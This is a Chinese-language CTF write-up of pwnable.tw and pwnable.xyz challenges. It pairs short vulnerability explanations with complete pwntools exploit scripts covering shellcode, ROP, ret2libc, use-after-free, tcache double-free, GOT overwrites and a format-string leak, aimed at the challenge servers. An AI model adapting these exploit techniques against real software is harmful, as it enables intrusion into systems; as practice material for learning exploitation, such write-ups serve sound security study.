pwnable专题之pwnable.tw

pwnable的题,持续更新

pwnable.tw

start

调用了read和write函数就没有了。先进行栈溢出,将栈地址给打印出来因为没有开nx所以可以在栈里运行shellcode,再写入shellcode注意有\x00的shellcode会被截断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

context(arch='i386', os='linux')

file_name = './start'

debug = 1
if debug:
#r = remote('node4.buuoj.cn', 29613)
r = remote('chall.pwnable.tw', 10000)
else:
r = process(file_name)


r.recvuntil("Let's start the CTF:")

p1 = b'a' * 0x14 + p32(0x08048087)

r.send(p1)

stack_addr = u32(r.recv(4))

success('stack_addr = ' + hex(stack_addr))

shellcode ='''
xor ecx,ecx
mul ecx
push eax
mov al,0xb
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
int 0x80
'''

shellcode = asm(shellcode)

print(shellcode)

wp = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

print(len(wp))

p2 = b'a' * 0x14 + p32(stack_addr + 0x14) + shellcode

r.send(p2)

r.interactive()

orw

开了沙盒,orw就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context(arch='i386', os='linux')

file_name = './z1r0'

debug = 1
if debug:
r = remote('node4.buuoj.cn', 26872)
else:
r = process(file_name)

elf = ELF(file_name)

orw_open = '''
xor ecx,ecx;
xor edx,edx;
push ecx;
push 0x67616c66;
mov ebx,esp;
mov eax,0x5;
int 0x80;
'''

orw_read = '''
mov eax,0x3;
mov ecx,ebx;
mov ebx,0x3;
mov edx,0x100;
int 0x80;
'''

orw_write = '''
mov eax,0x4;
mov ebx,0x1;
int 0x80;
'''

shellcode = asm(orw_open + orw_read + orw_write)

r.send(shellcode)

r.interactive()

calc

这个题目很有趣,有点实战那个味了:)

calc这个函数就是大体的流程,过滤—-运算。符合条件的数都给放进s,进运算函数,运算函数里面进行了许多的验证。这个函数的bzero给了0x400,有栈溢出,但是难利用因为保护开了canary。

看一下运算函数里面的东西吧。红框里就有一个小小的漏洞,第一个为运算符时,a2也就是init_pool的v1里不会将第一个给存放进去。a2[0]是当前个存放的数的个数。

看一下eval函数吧。看一下红字,a[0]此时就会=11,就相当于我们可以控制操作数个数的内存空间。可以借助这个进行泄露。

偏移量为0x5a0 + 4为return。所以数组下标为(0x5a0 + 4) / 4 = 361,所以可以构造+361来泄露栈地址。既然可以任意地址写了,绕过canary来rop从而getshell。

ebp + 4放的是/bin/sh的地址。别问我怎么知道的gdb动调一下就可以了。直接上exp吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

context(arch='i386', os='linux')

file_name = './z1r0'

debug = 1
if debug:
r = remote('node4.buuoj.cn', 25936)
#r = remote('chall.pwnable.tw', 10100)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

r.recvuntil('\n')
r.sendline('+361')

ret_addr = int(r.recvuntil('\n'),10)

r.sendline('+360')

ebp_addr = int(r.recvuntil('\n'),10)

pop_eax_ret = 0x0805c34b
pop_ecx_pop_ebx_ret = 0x080701d1
pop_edx_ret = 0x080701aa
binsh_addr = ebp_addr+4
binsh1 = 0x6e69622f
binsh2 = 0x0068732f
payload = [pop_eax_ret,0x0b,pop_edx_ret,0x0,pop_ecx_pop_ebx_ret,0,binsh_addr,0x08049a21,binsh1,binsh2]

for i in range(len(payload)):
r.sendline("+"+str(361+i))
num = int(r.recvline())

diff = payload[i] - num
if diff > 0 :
r.sendline("+"+str(361+i)+"+"+str(diff))
else:
r.sendline("+"+str(361+i)+str(diff))
r.recvline()

r.interactive()

dubblesort

这题学到了read后面不会自动补\x00和%u :)

借了两个漏洞,一个是read后面不自动加\x00,所以可以得到libc_base,第二个漏洞就是scanf的那个%u了。输入+号并不会异常,会被检测成正常的空数据进去,所以后面的排序就排的是里面的内存地址。既然有了libc_base所以应该就是ret2libc,但是保护全开,得过canary,canary就在24后面一个使用+号可以不对canary进行修改,后面就是rop了。

这题开了pie,所以泄露之后进行固定偏移计算得到libc_base就可以正常getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context(arch='i386', os='linux')#, log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
r = remote('node4.buuoj.cn', 28233)
#r = remote('chall.pwnable.tw', 10100)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./libc-2.23.so')

def dbg():
gdb.attach(r)

r.recvuntil('What your name :')
r.sendline('A' * 24)

r.recvuntil('A' * 24)

libc_base = u32(r.recv(4)) - 0x1b000a
success('addr = ' + hex(libc_base))

system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

success('system_addr = ' + hex(system_addr))

lg = 24 + 1 + 9 + 1
r.recvuntil('sort :')
r.sendline(str(lg))
for i in range(24):
r.sendlineafter('number : ', '1')
r.sendline('+')
for i in range(9):
r.sendline(str(system_addr))
r.sendline(str(bin_sh))

#dbg()
r.interactive()

hacknote

纯uaf,没开pie,可以改got。add两个,delete完了之后再add使得第三次add可以控制放puts的那个地址。show一下libc_base就出来了。最后delete,再次add改原来puts的那个地址为system,content为sh即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27091)
#r = remote('chall.pwnable.tw', 10100)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./libc-2.23.so')

menu = 'Your choice :'

def dbg():
gdb.attach(r)

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Note size :', str(size))
r.sendlineafter('Content :', content)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Index :', str(index))

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index :', str(index))

puts_addr = 0x0804862b
puts_got = elf.got['puts']

add(0x10, 'aaaa')
add(0x10, 'bbbb')

delete(0)
delete(1)

add(8, p32(puts_addr) + p32(puts_got))

show(0)

puts_real = u32(r.recv(4))
success('puts_real = ' + hex(puts_real))

system_addr = puts_real - libc.sym['puts'] + libc.sym['system']

delete(2)
add(8, p32(system_addr) + b';sh\x00')

show(0)

#dbg()
r.interactive()

silverbullet

再一次学到了新知识,strncat后面自动加\x00。

这题漏洞点出在了strncat这里,看一下红色框框。覆盖掉之后rop吧,因为把怪物打死才会出main,又因为怪物的hp是0x7fffffff,所以得要覆盖一下怪物的血量,具体的话得pwndbg一下。这里就不贴了(lan)。再接着覆盖ret正常rop,泄露完libc_base之后再一次利用之前的漏洞利用链就可以getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

context(arch='i386', os='linux')#, log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27639)
#r = remote('chall.pwnable.tw', 10100)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./libc-2.23.so')

def dbg():
gdb.attach(r)

menu = 'Your choice :'

def create(des):
r.sendlineafter(menu, '1')
r.sendafter('Give me your description of bullet :', des)

def power(des):
r.sendlineafter(menu, '2')
r.sendafter('Give me your another description of bullet :', des)

def beat():
r.sendlineafter(menu, '3')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

create('a' * 0x20)
power('b' * 0x10)

main = 0x8048954

p1 = p32(0x7FFFFFFF) + b'a' * 3 + p32(puts_plt) + p32(main) + p32(puts_got)
power(p1)

beat()

r.recvuntil('Oh ! You win !!\n')

puts_addr = u32(r.recv(4))
success('puts_addr' + hex(puts_addr))

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

create('a' * 0x20)
power('b' * 0x10)

p1 = p32(0x7FFFFFFF) + b'a' * 3 + p32(system_addr) + p32(main) + p32(bin_sh)

power(p1)

beat()

#dbg()
r.interactive()

Tcache_Tear

这题就是uaf+tcache attak。

pwnable.tw上是2.27的libc,到了buu上就是2.23的libc了。。。。。。。这里先看一下2.27的吧。

主程序里就有一个uaf。很明显,看一下下面的红色框框。

所以2.27的思路就很简单,double free将地址任意写写到0x602060,在0x602060伪造chunk这个chunk是unstortedbin。泄露出libc_base之后,还是double改fd为hook,改hook为one_gadget就可以getshell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
r = remote('node4.buuoj.cn', 26410)
#r = remote('chall.pwnable.tw', 10100)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.27/libc-2.27.so')

def dbg():
gdb.attach(r)

menu = 'Your choice :'

puts_got = elf.got['puts']


def add(size, data):
r.sendlineafter(menu, '1')
r.sendlineafter('Size:', str(size))
r.sendlineafter('Data:', data)

def free():
r.sendlineafter(menu, '2')

def show():
r.sendlineafter(menu, '3')


bss_addr = 0x602060

r.recvuntil('Name:')
r.sendline('aaaa')

add(0x8, 'aaaa')

free()
free()

add(0x8, p64(bss_addr))
add(0x8, 'bbbb')

fake_chunk = p64(0) + p64(0x501)
fake_chunk += b'a' * 0x18 + p64(0x602070) + (0x4f0 - 0x20 + 8) * b'\x00' + p64(0x21) + b'\x00' * 0x18 + p64(0x21)

add(0x8, fake_chunk)
free()

show()

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
success('malloc_hook = ' + hex(malloc_hook))

libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
success('free_hook = ' + hex(free_hook))

one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_base

add(0x20, 'aaaa')
free()
free()

add(0x20, p64(free_hook))
add(0x20, 'aaaa')
add(0x20, p64(one_gadget))

free()

#dbg()

r.interactive()

buu上面的2.23的libc。没有uaf,不可以直接double free

pwnable.xyz

welcome(malloc分配失败返回NULL)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
_QWORD *v3; // rbx
__int64 v4; // rdx
char *v5; // rbp
__int64 v6; // rdx
size_t v7; // rdx
size_t size; // [rsp+0h] [rbp-28h]
unsigned __int64 v10; // [rsp+8h] [rbp-20h]

v10 = __readfsqword(0x28u);
sub_B4E(a1, a2, a3);
puts("Welcome.");
v3 = malloc(0x40000uLL);
*v3 = 1LL;
_printf_chk(1LL, "Leak: %p\n", v3);
_printf_chk(1LL, "Length of your message: ", v4);
size = 0LL;
_isoc99_scanf("%lu", &size);
v5 = (char *)malloc(size);
_printf_chk(1LL, "Enter your message: ", v6);
read(0, v5, size);
v7 = size;
v5[size - 1] = 0;
write(1, v5, v7);
if ( !*v3 )
system("cat /flag");
return 0LL;
}

想要cat flag我们就必须将v3改为0,malloc失败分账之后返回NULL也就是0,这个题目v5分配失败之后为0,v5[size -1] = 0 = *(v5 + (size-1) * sizeof(char) )

当size - 1为v3的地址+1的时候,一但v5分配失败之后v3就为0了,所以可以getshell了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('svc.pwnable.xyz', 30000)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

r.recvuntil('0x')
leak_addr = int(r.recv(12), 16)
li('[+] leak_addr = ' + hex(leak_addr))
r.sendline(str(leak_addr + 1))
r.sendline('a')

r.interactive()

sub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+0h] [rbp-18h]
int v5; // [rsp+4h] [rbp-14h]
unsigned __int64 v6; // [rsp+8h] [rbp-10h]

v6 = __readfsqword(0x28u);
sub_A3E(a1, a2, a3);
v4 = 0;
v5 = 0;
_printf_chk(1LL, "1337 input: ");
_isoc99_scanf("%u %u", &v4, &v5);
if ( v4 <= 4918 && v5 <= 4918 )
{
if ( v4 - v5 == 4919 )
system("cat /flag");
}
else
{
puts("Sowwy");
}
return 0LL;
}

v4 - v5为4919就行了,所以直接v4 = 4918 v5 = -1就可以getshell了

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
__int64 v4; // [rsp+8h] [rbp-78h]
__int64 v5; // [rsp+10h] [rbp-70h]
__int64 v6; // [rsp+18h] [rbp-68h]
__int64 v7[11]; // [rsp+20h] [rbp-60h]
unsigned __int64 v8; // [rsp+78h] [rbp-8h]

v8 = __readfsqword(0x28u);
setup(*(_QWORD *)&argc, argv, envp);
while ( 1 )
{
v4 = 0LL;
v5 = 0LL;
v6 = 0LL;
memset(v7, 0, 0x50uLL);
printf("Input: ", argv, v7);
if ( (unsigned int)__isoc99_scanf("%ld %ld %ld", &v4, &v5, &v6) != 3 )
break;
v7[v6] = v4 + v5;
argv = (const char **)v7[v6];
printf("Result: %ld", argv);
}
result = 0;
__readfsqword(0x28u);
return result;
}

v7下标没有被控制,控制v6为ret的地址也就是13,v4 + v5为后门就可以getshell了

v4 v5 v6 = 4196386 0 13

misalignment

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-A0h]
_QWORD v5[3]; // [rsp+18h] [rbp-98h]
__int64 v6; // [rsp+30h] [rbp-80h]
__int64 v7; // [rsp+38h] [rbp-78h]
__int64 v8; // [rsp+40h] [rbp-70h]
unsigned __int64 v9; // [rsp+A8h] [rbp-8h]

v9 = __readfsqword(0x28u);
setup(*&argc, argv, envp);
memset(&s, 0, 0x98uLL);
*(v5 + 7) = 3735928559LL;
while ( _isoc99_scanf("%ld %ld %ld", &v6, &v7, &v8) == 3 && v8 <= 9 && v8 >= -7 )
{
v5[v8 + 6] = v6 + v7;
printf("Result: %ld\n", v5[v8 + 6]);
}
if ( *(v5 + 7) == 0xB000000B5LL )
win();
return 0;
}

当v5+7==0xB000000B5时可以getflag。v5+7其实就是v5[0]的第7个数开始长度为8。

而v5+8就是v5[1]的第1个数开始,因为是小端,所以v5[0]可以填入0xb500000000000000,这样子第7个数刚好就是b5,v5[1]填入0x0b000000这样v5[1]第一个数~第4个数刚好就是0x0b000000了。这样子的话v5+7就=0xB000000B5。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('svc.pwnable.xyz', 30003)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)


r.sendline('-5404319552844595200 0 -6')
r.sendline('184549376 0 -5')
r.sendline('a')

r.interactive()

GrownUp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *src; // ST08_8
__int64 buf; // [rsp+10h] [rbp-20h]
__int64 v6; // [rsp+18h] [rbp-18h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
setup();
buf = 0LL;
v6 = 0LL;
printf("Are you 18 years or older? [y/N]: ", argv);
*((_BYTE *)&buf + (signed int)((unsigned __int64)read(0, &buf, 0x10uLL) - 1)) = 0;
if ( (_BYTE)buf != 'y' && (_BYTE)buf != 'Y' )
return 0;
src = (char *)malloc(0x84uLL);
printf("Name: ", &buf);
read(0, src, 0x80uLL);
strcpy(usr, src);
printf("Welcome ", src);
printf(qword_601160, usr);
return 0;
}

read的时候可以读取0x80个字符,这里没有问题,但是在strcpy这里进行字符串copy的时候,会自动加上一个\x00,补上\x00之后可以发现601160的低字节就会被覆盖掉。0x601160这里存放着%s\n的地址,那我们将0x601160这里的低地址给覆盖成%p是不是就可以内存泄露了(格式化字符串漏洞

其中0x601080这个地址将会存放着真实flag,在输入y的时候,我们将flag的地址放进去,这样子flag就是被放到栈上,我们可以通过上面说到的格式化漏洞输出flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('svc.pwnable.xyz', 30004)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

p1 = b'a' * 0x20 + b'%p' * 8 + b'%s'
p1 = p1.ljust(0x80, b'a')

flag_addr = 0x601080
p2 = b'y' * 8 + p64(flag_addr)

r.sendafter('Are you 18 years or older? [y/N]: ', p2)
r.sendafter('Name: ', p1)

r.interactive()

note

1
2
3
4
5
6
7
8
9
10
11
12
13
void edit_note()
{
int size; // ST04_4
void *buf; // ST08_8

printf("Note len? ");
size = read_int32();
buf = malloc(size);
printf("note: ");
read(0, buf, size);
strncpy(s, (const char *)buf, size);
free(buf);
}
1
2
3
4
5
6
7
ssize_t edit_desc()
{
if ( !buf )
buf = malloc(0x20uLL);
printf("desc: ");
return read(0, buf, 0x20uLL);
}

我们可以通过edit_note这个函数来劫持buf指到puts_got这里,再利用edit_desc改puts_got为后门地址,最后想办法调用一下Puts就可以getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('svc.pwnable.xyz', 30016)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = '> '

def edit_note(size, note):
r.sendlineafter(menu, '1')
r.sendafter('Note len? ', str(size))
r.sendafter('note: ', note)

def edit_des(note):
r.sendlineafter(menu, '2')
r.sendafter('desc: ', note)

puts_got = elf.got['puts']

p1 = b'a' * 0x20 + p64(puts_got)
edit_note(0x28, p1)

shell = 0x40093C
edit_des(p64(shell))

r.sendlineafter(menu, '3')

r.interactive()

xor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-24h]
__int64 v4; // [rsp+10h] [rbp-20h]
__int64 v5; // [rsp+18h] [rbp-18h]
__int64 index; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
puts("The Poopolator");
setup();
while ( 1 )
{
index = 0LL;
printf(format, argv);
v3 = _isoc99_scanf("%ld %ld %ld", &v4, &v5, &index);
if ( !v4 || !v5 || !index || index > 9 || v3 != 3 )
break;
result[index] = v5 ^ v4;
argv = (const char **)result[index];
printf("Result: %ld\n", argv);
}
exit(1);
}

漏洞很好看出来,任意地址写漏洞,这个漏洞发生在result这里。虽然限制了上限,但是少了对负的控制。还有一个点就是pwndbg的时候vmmap发现text段可修改。那么攻击思路很快就来了。控制exit为win函数就行。这里笔者学到了新的知识,pwntools里竟然集成了对text段的修改!!!!

v5^v4 = call winindex = result这个变量的地址和call exit地址的差 /8这样就可以直接将call exit这个地址给改成win了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('svc.pwnable.xyz', 30029)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

result_addr = 0x202200
call_exit_addr = 0x0AC8
win_addr = 0x0A21

elf.asm(call_exit_addr, 'call ' + str(win_addr))

p1 = elf.read(call_exit_addr, 5)
p1 = p1.ljust(8, b'\x00')
p1 = u64(p1)
offset = (call_exit_addr - result_addr) / 8

r.sendline('1 ' + str(p1) + ' ' + str(offset))

r.interactive()

two targets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
int v4; // eax
char s; // [rsp+10h] [rbp-40h]
__int64 v6; // [rsp+30h] [rbp-20h]
char *v7; // [rsp+40h] [rbp-10h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
setup(*(_QWORD *)&argc, argv, envp);
v3 = 0LL;
memset(&s, 0, 0x38uLL);
while ( 1 )
{
while ( 1 )
{
print_menu();
v4 = read_int32();
if ( v4 != 2 )
break;
printf("nationality: ", v3);
v3 = (char *)&v6;
__isoc99_scanf("%24s", &v6);
}
if ( v4 > 2 )
{
if ( v4 == 3 )
{
printf("age: ", v3);
v3 = v7;
__isoc99_scanf("%d", v7);
}
else if ( v4 == 4 )
{
if ( (unsigned __int8)auth((__int64)&s) )
win();
}
else
{
LABEL_14:
puts("Invalid");
}
}
else
{
if ( v4 != 1 )
goto LABEL_14;
printf("name: ", v3);
v3 = &s;
__isoc99_scanf("%32s", &s);
}
}
}

这个题目有两个解决方案,第一个利用就是满足auth这个函数,第二个利用就是通过v6改v7,利用修改v7的功能实现任意地址写。

第一种exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 0
if debug:
r = remote('svc.pwnable.xyz', 30031)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

p1 = 'Did_you_really_miss_the_\xc8T_b\x7fD\x84\xf3'
r.sendlineafter('> ', '1')
r.sendlineafter('name: ', p1)
r.sendlineafter('> ', '4')

r.interactive()

第二种exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

debug = 1
if debug:
r = remote('svc.pwnable.xyz', 30031)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

strncmp_got = elf.got['strncmp']
win_addr = 0x40099C

r.sendlineafter('> ', '2')
r.sendlineafter('nationality: ', b'a' * 0x10 + p64(strncmp_got))

r.sendlineafter('> ', '3')
r.sendlineafter('age: ', str(win_addr))

r.sendlineafter('> ', '4')

r.interactive()